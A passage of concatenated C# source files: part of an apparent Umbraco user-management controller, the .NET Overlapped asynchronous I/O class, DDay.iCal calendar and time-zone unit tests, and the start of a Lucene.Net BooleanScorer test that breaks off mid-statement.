ModelState.AddModelError(memberName, passwordChangeResult.Result.ChangeError.ErrorMessage); } } } if (hasErrors) throw new HttpResponseException(Request.CreateErrorResponse(HttpStatusCode.BadRequest, ModelState)); //merge the save data onto the user var user = Mapper.Map(userSave, found); Services.UserService.Save(user); var display = Mapper.Map<UserDisplay>(user); display.AddSuccessNotification(Services.TextService.Localize("speechBubbles/operationSavedHeader"), Services.TextService.Localize("speechBubbles/editUserSaved")); return display; } /// <summary> /// Disables the users with the given user ids /// </summary> /// <param name="userIds"></param> public HttpResponseMessage PostDisableUsers([FromUri]int[] userIds) { if (userIds.Contains(Security.GetUserId())) { throw new HttpResponseException( Request.CreateNotificationValidationErrorResponse("The current user cannot disable itself")); } var users = Services.UserService.GetUsersById(userIds).ToArray(); foreach (var u in users) { u.IsApproved = false; u.InvitedDate = null; } Services.UserService.Save(users); if (users.Length > 1) { return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/disableUsersSuccess", new[] {userIds.Length.ToString()})); } return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/disableUserSuccess", new[] { users[0].Name })); } /// <summary> /// Enables the users with the given user ids /// </summary> /// <param name="userIds"></param> public HttpResponseMessage PostEnableUsers([FromUri]int[] userIds) { var users = Services.UserService.GetUsersById(userIds).ToArray(); foreach (var u in users) { u.IsApproved = true; } Services.UserService.Save(users); if (users.Length > 1) { return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/enableUsersSuccess", new[] { userIds.Length.ToString() })); } return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/enableUserSuccess", new[] { users[0].Name })); } /// <summary> /// Unlocks the users with the given user ids /// </summary> /// <param name="userIds"></param> public async Task<HttpResponseMessage> PostUnlockUsers([FromUri]int[] userIds) { if (userIds.Length <= 0) return Request.CreateResponse(HttpStatusCode.OK); if (userIds.Length == 1) { var unlockResult = await UserManager.SetLockoutEndDateAsync(userIds[0], DateTimeOffset.Now); if (unlockResult.Succeeded == false) { return Request.CreateValidationErrorResponse( string.Format("Could not unlock for user {0} - error {1}", userIds[0], unlockResult.Errors.First())); } var user = await UserManager.FindByIdAsync(userIds[0]); return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/unlockUserSuccess", new[] { user.Name })); } foreach (var u in userIds) { var unlockResult = await UserManager.SetLockoutEndDateAsync(u, DateTimeOffset.Now); if (unlockResult.Succeeded == false) { return Request.CreateValidationErrorResponse( string.Format("Could not unlock for user {0} - error {1}", u, unlockResult.Errors.First())); } } return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/unlockUsersSuccess", new[] { userIds.Length.ToString() })); } public HttpResponseMessage PostSetUserGroupsOnUsers([FromUri]string[] userGroupAliases, [FromUri]int[] userIds) { var users = Services.UserService.GetUsersById(userIds).ToArray(); var userGroups = Services.UserService.GetUserGroupsByAlias(userGroupAliases).Select(x => x.ToReadOnlyGroup()).ToArray(); foreach (var u in users) { u.ClearGroups(); foreach (var userGroup in userGroups) { u.AddGroup(userGroup); } } Services.UserService.Save(users); return Request.CreateNotificationSuccessResponse( Services.TextService.Localize("speechBubbles/setUserGroupOnUsersSuccess")); } public class PagedUserResult : PagedResult<UserBasic> { public PagedUserResult(long totalItems, long pageNumber, long pageSize) : base(totalItems, pageNumber, pageSize) { UserStates = new Dictionary<UserState, int>(); } /// <summary> /// This is basically facets of UserStates key = state, value = count /// </summary> [DataMember(Name = "userStates")] public IDictionary<UserState, int> UserStates { get; set; } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. // /* * This files defines the following types: * - NativeOverlapped * - _IOCompletionCallback * - OverlappedData * - Overlapped * - OverlappedDataCache */ /*============================================================================= ** ** ** ** Purpose: Class for converting information to and from the native ** overlapped structure used in asynchronous file i/o ** ** =============================================================================*/ namespace System.Threading { using System; using System.Runtime.InteropServices; using System.Runtime.CompilerServices; using System.Runtime.Versioning; using System.Security; using System.Security.Permissions; using System.Runtime.ConstrainedExecution; using System.Diagnostics.Contracts; using System.Collections.Concurrent; #region struct NativeOverlapped // Valuetype that represents the (unmanaged) Win32 OVERLAPPED structure // the layout of this structure must be identical to OVERLAPPED. // The first five matches OVERLAPPED structure. // The remaining are reserved at the end [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential)] [System.Runtime.InteropServices.ComVisible(true)] public struct NativeOverlapped { public IntPtr InternalLow; public IntPtr InternalHigh; public int OffsetLow; public int OffsetHigh; public IntPtr EventHandle; } #endregion struct NativeOverlapped #region class _IOCompletionCallback unsafe internal class _IOCompletionCallback { [System.Security.SecurityCritical] // auto-generated IOCompletionCallback _ioCompletionCallback; ExecutionContext _executionContext; uint _errorCode; // Error code uint _numBytes; // No. of bytes transferred [SecurityCritical] NativeOverlapped* _pOVERLAP; [System.Security.SecuritySafeCritical] // auto-generated static _IOCompletionCallback() { } [System.Security.SecurityCritical] // auto-generated internal _IOCompletionCallback(IOCompletionCallback ioCompletionCallback, ref StackCrawlMark stackMark) { _ioCompletionCallback = ioCompletionCallback; // clone the exection context _executionContext = ExecutionContext.Capture( ref stackMark, ExecutionContext.CaptureOptions.IgnoreSyncCtx | ExecutionContext.CaptureOptions.OptimizeDefaultCase); } // Context callback: same sig for SendOrPostCallback and ContextCallback #if FEATURE_CORECLR [System.Security.SecurityCritical] // auto-generated #endif static internal ContextCallback _ccb = new ContextCallback(IOCompletionCallback_Context); [System.Security.SecurityCritical] static internal void IOCompletionCallback_Context(Object state) { _IOCompletionCallback helper = (_IOCompletionCallback)state; Contract.Assert(helper != null,"_IOCompletionCallback cannot be null"); helper._ioCompletionCallback(helper._errorCode, helper._numBytes, helper._pOVERLAP); } // call back helper [System.Security.SecurityCritical] // auto-generated static unsafe internal void PerformIOCompletionCallback(uint errorCode, // Error code uint numBytes, // No. of bytes transferred NativeOverlapped* pOVERLAP // ptr to OVERLAP structure ) { Overlapped overlapped; _IOCompletionCallback helper; do { overlapped = OverlappedData.GetOverlappedFromNative(pOVERLAP).m_overlapped; helper = overlapped.iocbHelper; if (helper == null || helper._executionContext == null || helper._executionContext.IsDefaultFTContext(true)) { // We got here because of UnsafePack (or) Pack with EC flow supressed IOCompletionCallback callback = overlapped.UserCallback; callback( errorCode, numBytes, pOVERLAP); } else { // We got here because of Pack helper._errorCode = errorCode; helper._numBytes = numBytes; helper._pOVERLAP = pOVERLAP; using (ExecutionContext executionContext = helper._executionContext.CreateCopy()) ExecutionContext.Run(executionContext, _ccb, helper, true); } //Quickly check the VM again, to see if a packet has arrived. OverlappedData.CheckVMForIOPacket(out pOVERLAP, out errorCode, out numBytes); } while (pOVERLAP != null); } } #endregion class _IOCompletionCallback #region class OverlappedData sealed internal class OverlappedData { // ! If you make any change to the layout here, you need to make matching change // ! to OverlappedObject in vm\nativeoverlapped.h internal IAsyncResult m_asyncResult; [System.Security.SecurityCritical] // auto-generated internal IOCompletionCallback m_iocb; internal _IOCompletionCallback m_iocbHelper; internal Overlapped m_overlapped; private Object m_userObject; private IntPtr m_pinSelf; private IntPtr m_userObjectInternal; private int m_AppDomainId; #pragma warning disable 414 // Field is not used from managed. #pragma warning disable 169 private byte m_isArray; private byte m_toBeCleaned; #pragma warning restore 414 #pragma warning restore 169 internal NativeOverlapped m_nativeOverlapped; #if FEATURE_CORECLR // Adding an empty default ctor for annotation purposes [System.Security.SecuritySafeCritical] // auto-generated internal OverlappedData(){} #endif // FEATURE_CORECLR [System.Security.SecurityCritical] internal void ReInitialize() { m_asyncResult = null; m_iocb = null; m_iocbHelper = null; m_overlapped = null; m_userObject = null; Contract.Assert(m_pinSelf.IsNull(), "OverlappedData has not been freed: m_pinSelf"); m_pinSelf = (IntPtr)0; m_userObjectInternal = (IntPtr)0; Contract.Assert(m_AppDomainId == 0 || m_AppDomainId == AppDomain.CurrentDomain.Id, "OverlappedData is not in the current domain"); m_AppDomainId = 0; m_nativeOverlapped.EventHandle = (IntPtr)0; m_isArray = 0; m_nativeOverlapped.InternalLow = (IntPtr)0; m_nativeOverlapped.InternalHigh = (IntPtr)0; } [System.Security.SecurityCritical] // auto-generated [MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable unsafe internal NativeOverlapped* Pack(IOCompletionCallback iocb, Object userData) { if (!m_pinSelf.IsNull()) { throw new InvalidOperationException(Environment.GetResourceString("InvalidOperation_Overlapped_Pack")); } StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller; if (iocb != null) { m_iocbHelper = new _IOCompletionCallback(iocb, ref stackMark); m_iocb = iocb; } else { m_iocbHelper = null; m_iocb = null; } m_userObject = userData; if (m_userObject != null) { if (m_userObject.GetType() == typeof(Object[])) { m_isArray = 1; } else { m_isArray = 0; } } return AllocateNativeOverlapped(); } [System.Security.SecurityCritical] // auto-generated_required unsafe internal NativeOverlapped* UnsafePack(IOCompletionCallback iocb, Object userData) { if (!m_pinSelf.IsNull()) { throw new InvalidOperationException(Environment.GetResourceString("InvalidOperation_Overlapped_Pack")); } m_userObject = userData; if (m_userObject != null) { if (m_userObject.GetType() == typeof(Object[])) { m_isArray = 1; } else { m_isArray = 0; } } m_iocb = iocb; m_iocbHelper = null; return AllocateNativeOverlapped(); } [ComVisible(false)] internal IntPtr UserHandle { get { return m_nativeOverlapped.EventHandle; } set { m_nativeOverlapped.EventHandle = value; } } [System.Security.SecurityCritical] // auto-generated [MethodImplAttribute(MethodImplOptions.InternalCall)] unsafe private extern NativeOverlapped* AllocateNativeOverlapped(); [System.Security.SecurityCritical] // auto-generated [MethodImplAttribute(MethodImplOptions.InternalCall)] unsafe internal static extern void FreeNativeOverlapped(NativeOverlapped* nativeOverlappedPtr); [System.Security.SecurityCritical] // auto-generated [MethodImplAttribute(MethodImplOptions.InternalCall)] unsafe internal static extern OverlappedData GetOverlappedFromNative(NativeOverlapped* nativeOverlappedPtr); [System.Security.SecurityCritical] // auto-generated [MethodImplAttribute(MethodImplOptions.InternalCall)] unsafe internal static extern void CheckVMForIOPacket(out NativeOverlapped* pOVERLAP, out uint errorCode, out uint numBytes); } #endregion class OverlappedData #region class Overlapped /// <internalonly/> [System.Runtime.InteropServices.ComVisible(true)] public class Overlapped { private OverlappedData m_overlappedData; private static PinnableBufferCache s_overlappedDataCache = new PinnableBufferCache("System.Threading.OverlappedData", ()=> new OverlappedData()); #if FEATURE_CORECLR [System.Security.SecuritySafeCritical] // auto-generated #endif public Overlapped() { m_overlappedData = (OverlappedData) s_overlappedDataCache.Allocate(); m_overlappedData.m_overlapped = this; } public Overlapped(int offsetLo, int offsetHi, IntPtr hEvent, IAsyncResult ar) { m_overlappedData = (OverlappedData) s_overlappedDataCache.Allocate(); m_overlappedData.m_overlapped = this; m_overlappedData.m_nativeOverlapped.OffsetLow = offsetLo; m_overlappedData.m_nativeOverlapped.OffsetHigh = offsetHi; m_overlappedData.UserHandle = hEvent; m_overlappedData.m_asyncResult = ar; } [Obsolete("This constructor is not 64-bit compatible. Use the constructor that takes an IntPtr for the event handle. http://go.microsoft.com/fwlink/?linkid=14202")] public Overlapped(int offsetLo, int offsetHi, int hEvent, IAsyncResult ar) : this(offsetLo, offsetHi, new IntPtr(hEvent), ar) { } public IAsyncResult AsyncResult { get { return m_overlappedData.m_asyncResult; } set { m_overlappedData.m_asyncResult = value; } } public int OffsetLow { get { return m_overlappedData.m_nativeOverlapped.OffsetLow; } set { m_overlappedData.m_nativeOverlapped.OffsetLow = value; } } public int OffsetHigh { get { return m_overlappedData.m_nativeOverlapped.OffsetHigh; } set { m_overlappedData.m_nativeOverlapped.OffsetHigh = value; } } [Obsolete("This property is not 64-bit compatible. Use EventHandleIntPtr instead. http://go.microsoft.com/fwlink/?linkid=14202")] public int EventHandle { get { return m_overlappedData.UserHandle.ToInt32(); } set { m_overlappedData.UserHandle = new IntPtr(value); } } [ComVisible(false)] public IntPtr EventHandleIntPtr { get { return m_overlappedData.UserHandle; } set { m_overlappedData.UserHandle = value; } } internal _IOCompletionCallback iocbHelper { get { return m_overlappedData.m_iocbHelper; } } internal IOCompletionCallback UserCallback { [System.Security.SecurityCritical] get { return m_overlappedData.m_iocb; } } /*==================================================================== * Packs a managed overlapped class into native Overlapped struct. * Roots the iocb and stores it in the ReservedCOR field of native Overlapped * Pins the native Overlapped struct and returns the pinned index. ====================================================================*/ [System.Security.SecurityCritical] // auto-generated [Obsolete("This method is not safe. Use Pack (iocb, userData) instead. http://go.microsoft.com/fwlink/?linkid=14202")] [CLSCompliant(false)] unsafe public NativeOverlapped* Pack(IOCompletionCallback iocb) { return Pack (iocb, null); } [System.Security.SecurityCritical] // auto-generated [CLSCompliant(false),ComVisible(false)] unsafe public NativeOverlapped* Pack(IOCompletionCallback iocb, Object userData) { return m_overlappedData.Pack(iocb, userData); } [System.Security.SecurityCritical] // auto-generated_required [Obsolete("This method is not safe. Use UnsafePack (iocb, userData) instead. http://go.microsoft.com/fwlink/?linkid=14202")] [CLSCompliant(false)] unsafe public NativeOverlapped* UnsafePack(IOCompletionCallback iocb) { return UnsafePack (iocb, null); } [System.Security.SecurityCritical] // auto-generated_required [CLSCompliant(false), ComVisible(false)] unsafe public NativeOverlapped* UnsafePack(IOCompletionCallback iocb, Object userData) { return m_overlappedData.UnsafePack(iocb, userData); } /*==================================================================== * Unpacks an unmanaged native Overlapped struct. * Unpins the native Overlapped struct ====================================================================*/ [System.Security.SecurityCritical] // auto-generated [CLSCompliant(false)] unsafe public static Overlapped Unpack(NativeOverlapped* nativeOverlappedPtr) { if (nativeOverlappedPtr == null) throw new ArgumentNullException("nativeOverlappedPtr"); Contract.EndContractBlock(); Overlapped overlapped = OverlappedData.GetOverlappedFromNative(nativeOverlappedPtr).m_overlapped; return overlapped; } [System.Security.SecurityCritical] // auto-generated [CLSCompliant(false)] unsafe public static void Free(NativeOverlapped* nativeOverlappedPtr) { if (nativeOverlappedPtr == null) throw new ArgumentNullException("nativeOverlappedPtr"); Contract.EndContractBlock(); Overlapped overlapped = OverlappedData.GetOverlappedFromNative(nativeOverlappedPtr).m_overlapped; OverlappedData.FreeNativeOverlapped(nativeOverlappedPtr); OverlappedData overlappedData = overlapped.m_overlappedData; overlapped.m_overlappedData = null; overlappedData.ReInitialize(); s_overlappedDataCache.Free(overlappedData); } } #endregion class Overlapped } // namespace
using System; using System.Collections; using System.Collections.Generic; using System.Text; using System.IO; using System.Resources; using System.Web; using System.Reflection; using System.Text.RegularExpressions; using System.Net; using NUnit.Framework; using DDay.iCal.Serialization.iCalendar; namespace DDay.iCal.Test { [TestFixture] public class ProgramTest { [Test] public void LoadAndDisplayCalendar() { // The following code loads and displays an iCalendar // with US Holidays for 2006. // IICalendar iCal = iCalendar.LoadFromFile(@"Calendars\Serialization\USHolidays.ics")[0]; Assert.IsNotNull(iCal, "iCalendar did not load. Are you connected to the internet?"); IList<Occurrence> occurrences = iCal.GetOccurrences( new iCalDateTime(2006, 1, 1, "US-Eastern"), new iCalDateTime(2006, 12, 31, "US-Eastern")); foreach (Occurrence o in occurrences) { IEvent evt = o.Source as IEvent; if (evt != null) { // Display the date of the event Console.Write(o.Period.StartTime.Local.Date.ToString("MM/dd/yyyy") + " -\t"); // Display the event summary Console.Write(evt.Summary); // Display the time the event happens (unless it's an all-day event) if (evt.Start.HasTime) { Console.Write(" (" + evt.Start.Local.ToShortTimeString() + " - " + evt.End.Local.ToShortTimeString()); if (evt.Start.TimeZoneObservance != null && evt.Start.TimeZoneObservance.HasValue) Console.Write(" " + evt.Start.TimeZoneObservance.Value.TimeZoneInfo.TimeZoneName); Console.Write(")"); } Console.Write(Environment.NewLine); } } } private DateTime Start; private DateTime End; private TimeSpan TotalTime; private string tzid; [TestFixtureSetUp] public void InitAll() { TotalTime = new TimeSpan(0); tzid = "US-Eastern"; } [TestFixtureTearDown] public void DisposeAll() { Console.WriteLine("Total Processing Time: " + Math.Round(TotalTime.TotalMilliseconds) + "ms"); } [SetUp] public void Init() { Start = DateTime.Now; } [TearDown] public void Dispose() { End = DateTime.Now; TotalTime = TotalTime.Add(End - Start); Console.WriteLine("Time: " + Math.Round(End.Subtract(Start).TotalMilliseconds) + "ms"); } static public void TestCal(IICalendar iCal) { Assert.IsNotNull(iCal, "The iCalendar was not loaded"); if (iCal.Events.Count > 0) Assert.IsTrue(iCal.Events.Count == 1, "Calendar should contain 1 event; however, the iCalendar loaded " + iCal.Events.Count + " events"); else if (iCal.Todos.Count > 0) Assert.IsTrue(iCal.Todos.Count == 1, "Calendar should contain 1 todo; however, the iCalendar loaded " + iCal.Todos.Count + " todos"); } [Test] public void LoadFromFile() { string path = @"Calendars\Serialization\Calendar1.ics"; Assert.IsTrue(File.Exists(path), "File '" + path + "' does not exist."); IICalendar iCal = iCalendar.LoadFromFile(path)[0]; Assert.AreEqual(14, iCal.Events.Count); } [Test] public void LoadFromUri() { string path = Directory.GetCurrentDirectory(); path = Path.Combine(path, "Calendars/Serialization/Calendar1.ics").Replace(@"\", "/"); path = "file:///" + path; Uri uri = new Uri(path); IICalendar iCal = iCalendar.LoadFromUri(uri)[0]; Assert.AreEqual(14, iCal.Events.Count); } /// <summary> /// The following test is an aggregate of MonthlyCountByMonthDay3() and MonthlyByDay1() in the /// <see cref="Recurrence"/> class. /// </summary> [Test] public void Merge1() { IICalendar iCal1 = iCalendar.LoadFromFile(@"Calendars\Recurrence\MonthlyCountByMonthDay3.ics")[0]; IICalendar iCal2 = iCalendar.LoadFromFile(@"Calendars\Recurrence\MonthlyByDay1.ics")[0]; // Change the UID of the 2nd event to make sure it's different iCal2.Events[iCal1.Events[0].UID].UID = "1234567890"; iCal1.MergeWith(iCal2); IEvent evt1 = iCal1.Events[0]; IEvent evt2 = iCal1.Events[1]; // Get occurrences for the first event IList<Occurrence> occurrences = evt1.GetOccurrences( new iCalDateTime(1996, 1, 1, tzid), new iCalDateTime(2000, 1, 1, tzid)); iCalDateTime[] DateTimes = new iCalDateTime[] { new iCalDateTime(1997, 9, 10, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 11, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 12, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 13, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 14, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 15, 9, 0, 0, tzid), new iCalDateTime(1999, 3, 10, 9, 0, 0, tzid), new iCalDateTime(1999, 3, 11, 9, 0, 0, tzid), new iCalDateTime(1999, 3, 12, 9, 0, 0, tzid), new iCalDateTime(1999, 3, 13, 9, 0, 0, tzid), }; string[] TimeZones = new string[] { "EDT", "EDT", "EDT", "EDT", "EDT", "EDT", "EST", "EST", "EST", "EST" }; for (int i = 0; i < DateTimes.Length; i++) { IDateTime dt = DateTimes[i]; IDateTime start = occurrences[i].Period.StartTime; Assert.AreEqual(dt, start); Assert.IsTrue(dt.TimeZoneName == TimeZones[i], "Event " + dt + " should occur in the " + TimeZones[i] + " timezone"); } Assert.IsTrue(occurrences.Count == DateTimes.Length, "There should be exactly " + DateTimes.Length + " occurrences; there were " + occurrences.Count); // Get occurrences for the 2nd event occurrences = evt2.GetOccurrences( new iCalDateTime(1996, 1, 1, tzid), new iCalDateTime(1998, 4, 1, tzid)); iCalDateTime[] DateTimes1 = new iCalDateTime[] { new iCalDateTime(1997, 9, 2, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 9, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 16, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 23, 9, 0, 0, tzid), new iCalDateTime(1997, 9, 30, 9, 0, 0, tzid), new iCalDateTime(1997, 11, 4, 9, 0, 0, tzid), new iCalDateTime(1997, 11, 11, 9, 0, 0, tzid), new iCalDateTime(1997, 11, 18, 9, 0, 0, tzid), new iCalDateTime(1997, 11, 25, 9, 0, 0, tzid), new iCalDateTime(1998, 1, 6, 9, 0, 0, tzid), new iCalDateTime(1998, 1, 13, 9, 0, 0, tzid), new iCalDateTime(1998, 1, 20, 9, 0, 0, tzid), new iCalDateTime(1998, 1, 27, 9, 0, 0, tzid), new iCalDateTime(1998, 3, 3, 9, 0, 0, tzid), new iCalDateTime(1998, 3, 10, 9, 0, 0, tzid), new iCalDateTime(1998, 3, 17, 9, 0, 0, tzid), new iCalDateTime(1998, 3, 24, 9, 0, 0, tzid), new iCalDateTime(1998, 3, 31, 9, 0, 0, tzid) }; string[] TimeZones1 = new string[] { "EDT", "EDT", "EDT", "EDT", "EDT", "EST", "EST", "EST", "EST", "EST", "EST", "EST", "EST", "EST", "EST", "EST", "EST", "EST" }; for (int i = 0; i < DateTimes1.Length; i++) { IDateTime dt = DateTimes1[i]; IDateTime start = occurrences[i].Period.StartTime; Assert.AreEqual(dt, start); Assert.IsTrue(dt.TimeZoneName == TimeZones1[i], "Event " + dt + " should occur in the " + TimeZones1[i] + " timezone"); } Assert.AreEqual(DateTimes1.Length, occurrences.Count, "There should be exactly " + DateTimes1.Length + " occurrences; there were " + occurrences.Count); } [Test] public void Merge2() { iCalendar iCal = new iCalendar(); IICalendar tmp_cal = iCalendar.LoadFromFile(@"Calendars\Serialization\TimeZone3.ics")[0]; iCal.MergeWith(tmp_cal); tmp_cal = iCalendar.LoadFromFile(@"Calendars\Serialization\TimeZone3.ics")[0]; // Compare the two calendars -- they should match exactly SerializationTest.CompareCalendars(iCal, tmp_cal); } /// <summary> /// The following tests the MergeWith() method of iCalendar to /// ensure that unique component merging happens as expected. /// </summary> [Test] public void Merge3() { IICalendar iCal1 = iCalendar.LoadFromFile(@"Calendars\Recurrence\MonthlyCountByMonthDay3.ics")[0]; IICalendar iCal2 = iCalendar.LoadFromFile(@"Calendars\Recurrence\YearlyByMonth1.ics")[0]; iCal1.MergeWith(iCal2); Assert.AreEqual(1, iCal1.Events.Count); } #if !SILVERLIGHT /// <summary> /// Tests conversion of the system time zone to one compatible with DDay.iCal. /// Also tests the gaining/loss of an hour over time zone boundaries. /// </summary> [Test] public void SystemTimeZone1() { System.TimeZoneInfo tzi = System.TimeZoneInfo.FindSystemTimeZoneById("Mountain Standard Time"); Assert.IsNotNull(tzi); iCalendar iCal = new iCalendar(); iCalTimeZone tz = iCalTimeZone.FromSystemTimeZone(tzi, new DateTime(2000, 1, 1), false); Assert.IsNotNull(tz); iCal.AddChild(tz); iCalendarSerializer serializer = new iCalendarSerializer(); serializer.Serialize(iCal, @"Calendars\Serialization\SystemTimeZone1.ics"); // Ensure the time zone transition works as expected // (i.e. it takes 1 hour and 1 second to transition from // 2003-10-26 12:59:59 AM to // 2003-10-26 01:00:00 AM) iCalDateTime dt1 = new iCalDateTime(2003, 10, 26, 0, 59, 59, tz.TZID, iCal); iCalDateTime dt2 = new iCalDateTime(2003, 10, 26, 1, 0, 0, tz.TZID, iCal); TimeSpan result = dt2 - dt1; Assert.AreEqual(TimeSpan.FromHours(1) + TimeSpan.FromSeconds(1), result); // Ensure another time zone transition works as expected // (i.e. it takes negative 59 minutes and 59 seconds to transition from // 2004-04-04 01:59:59 AM to // 2004-04-04 02:00:00 AM) dt1 = new iCalDateTime(2004, 4, 4, 1, 59, 59, tz.TZID, iCal); dt2 = new iCalDateTime(2004, 4, 4, 2, 0, 0, tz.TZID, iCal); result = dt2 - dt1; Assert.AreEqual(TimeSpan.FromHours(-1) + TimeSpan.FromSeconds(1), result); } /// <summary> /// Ensures the AddTimeZone() method works as expected. /// </summary> [Test] public void SystemTimeZone2() { System.TimeZoneInfo tzi = System.TimeZoneInfo.FindSystemTimeZoneById("Mountain Standard Time"); Assert.IsNotNull(tzi); iCalendar iCal = new iCalendar(); ITimeZone tz = iCal.AddTimeZone(tzi, new DateTime(2000, 1, 1), false); Assert.IsNotNull(tz); iCalendarSerializer serializer = new iCalendarSerializer(); serializer.Serialize(iCal, @"Calendars\Serialization\SystemTimeZone2.ics"); // Ensure the time zone transition works as expected // (i.e. it takes 1 hour and 1 second to transition from // 2003-10-26 12:59:59 AM to // 2003-10-26 01:00:00 AM) iCalDateTime dt1 = new iCalDateTime(2003, 10, 26, 0, 59, 59, tz.TZID, iCal); iCalDateTime dt2 = new iCalDateTime(2003, 10, 26, 1, 0, 0, tz.TZID, iCal); TimeSpan result = dt2 - dt1; Assert.AreEqual(TimeSpan.FromHours(1) + TimeSpan.FromSeconds(1), result); // Ensure another time zone transition works as expected // (i.e. it takes negative 59 minutes and 59 seconds to transition from // 2004-04-04 01:59:59 AM to // 2004-04-04 02:00:00 AM) dt1 = new iCalDateTime(2004, 4, 4, 1, 59, 59, tz.TZID, iCal); dt2 = new iCalDateTime(2004, 4, 4, 2, 0, 0, tz.TZID, iCal); result = dt2 - dt1; Assert.AreEqual(TimeSpan.FromHours(-1) + TimeSpan.FromSeconds(1), result); } [Test] public void SystemTimeZone3() { // Per Jon Udell's test, we should be able to get all // system time zones on the machine and ensure they // are properly translated. var zones = System.TimeZoneInfo.GetSystemTimeZones(); TimeZoneInfo tzinfo; foreach (var zone in zones) { tzinfo = null; try { tzinfo = System.TimeZoneInfo.FindSystemTimeZoneById(zone.Id); } catch (Exception e) { Assert.Fail("Not found: " + zone.StandardName); } if (tzinfo != null) { var ical_tz = DDay.iCal.iCalTimeZone.FromSystemTimeZone(tzinfo); Assert.AreNotEqual(0, ical_tz.TimeZoneInfos.Count, zone.StandardName + ": no time zone information was extracted."); } } } #endif } }
using System; using System.Collections.Generic; using Lucene.Net.Documents; namespace Lucene.Net.Search { using Lucene.Net.Support; using NUnit.Framework; using System.Diagnostics; using AtomicReaderContext = Lucene.Net.Index.AtomicReaderContext; using Bits = Lucene.Net.Util.Bits; using BooleanWeight = Lucene.Net.Search.BooleanQuery.BooleanWeight; using Directory = Lucene.Net.Store.Directory; /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using Document = Documents.Document; using Field = Field; using IndexReader = Lucene.Net.Index.IndexReader; using LuceneTestCase = Lucene.Net.Util.LuceneTestCase; using RandomIndexWriter = Lucene.Net.Index.RandomIndexWriter; using Term = Lucene.Net.Index.Term; using TextField = TextField; [TestFixture] public class TestBooleanScorer : LuceneTestCase { private const string FIELD = "category"; [Test] public virtual void TestMethod() { Directory directory = NewDirectory(); string[] values = new string[] { "1", "2", "3", "4" }; RandomIndexWriter writer = new RandomIndexWriter(Random(), directory); for (int i = 0; i < values.Length; i++) { Document doc = new Document(); doc.Add(NewStringField(FIELD, values[i], Field.Store.YES)); writer.AddDocument(doc); } IndexReader ir = writer.Reader; writer.Dispose(); BooleanQuery booleanQuery1 = new BooleanQuery(); booleanQuery1.Add(new TermQuery(new Term(FIELD, "1")), BooleanClause.Occur.SHOULD); booleanQuery1.Add(new TermQuery(new Term(FIELD, "2")), BooleanClause.Occur.SHOULD); BooleanQuery query = new BooleanQuery(); query.Add(booleanQuery1, BooleanClause.Occur.MUST); query.Add(new TermQuery(new Term(FIELD, "9")), BooleanClause.Occur.MUST_NOT); IndexSearcher indexSearcher = NewSearcher(ir); ScoreDoc[] hits = indexSearcher.Search(query, null, 1000).ScoreDocs; Assert.AreEqual(2, hits.Length, "Number of matched documents"); ir.Dispose(); directory.Dispose(); } [Test] public virtual void TestEmptyBucketWithMoreDocs() { // this test checks the logic of nextDoc() when all sub scorers have docs // beyond the first bucket (for example). Currently, the code relies on the // 'more' variable to work properly, and this test ensures that if the logic // changes, we have a test to back it up. Directory directory = NewDirectory(); RandomIndexWriter writer = new RandomIndexWriter(Random(), directory); writer.Commit(); IndexReader ir = writer.Reader; writer.Dispose(); IndexSearcher searcher = NewSearcher(ir); BooleanWeight weight = (BooleanWeight)(new BooleanQuery()).CreateWeight(searcher); BulkScorer[] scorers = new BulkScorer[] { new BulkScorerAnonymousInnerClassHelper() }; BooleanScorer bs = new BooleanScorer(weight, false, 1, Arrays.AsList(scorers), new List<BulkScorer>(), scorers.Length); IList<int> hits = new List<int>(); bs.Score(new CollectorAnonymousInnerClassHelper(this, hits)); Assert.AreEqual(1, hits.Count, "should have only 1 hit"); Assert.AreEqual(3000, (int)hits[0], "hit should have been docID=3000"); ir.Dispose(); directory.Dispose(); } private class BulkScorerAnonymousInnerClassHelper : BulkScorer { private int doc = -1; public override bool Score(Collector c, int maxDoc) { Debug.Assert(doc == -1); doc = 3000; FakeScorer fs = new FakeScorer(); fs.SetDoc(doc); fs.SetScore(1.0f); c.Scorer = fs; c.Collect(3000); return false; } } private class CollectorAnonymousInnerClassHelper : Collector { private readonly TestBooleanScorer OuterInstance; private IList<int> Hits; public CollectorAnonymousInnerClassHelper(TestBooleanScorer outerInstance, IList<int> hits) { this.OuterInstance = outerInstance; this.Hits = hits; } internal int docBase; public override Scorer Scorer { set { } } public override void Collect(int doc) { Hits.Add(docBase + doc); } public override AtomicReaderContext NextReader { set { docBase = value.DocBase; } } public override bool AcceptsDocsOutOfOrder() { return true; } } [Test] public virtual void TestMoreThan32ProhibitedClauses() { Directory d = NewDirectory(); RandomIndexWriter w = new RandomIndexWriter(Random(), d); Document doc = new Document(); doc.Add(new TextField("field", "0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33", Field.Store.NO)); w.AddDocument(doc); doc = new Document(); doc.Add(new TextField("field", 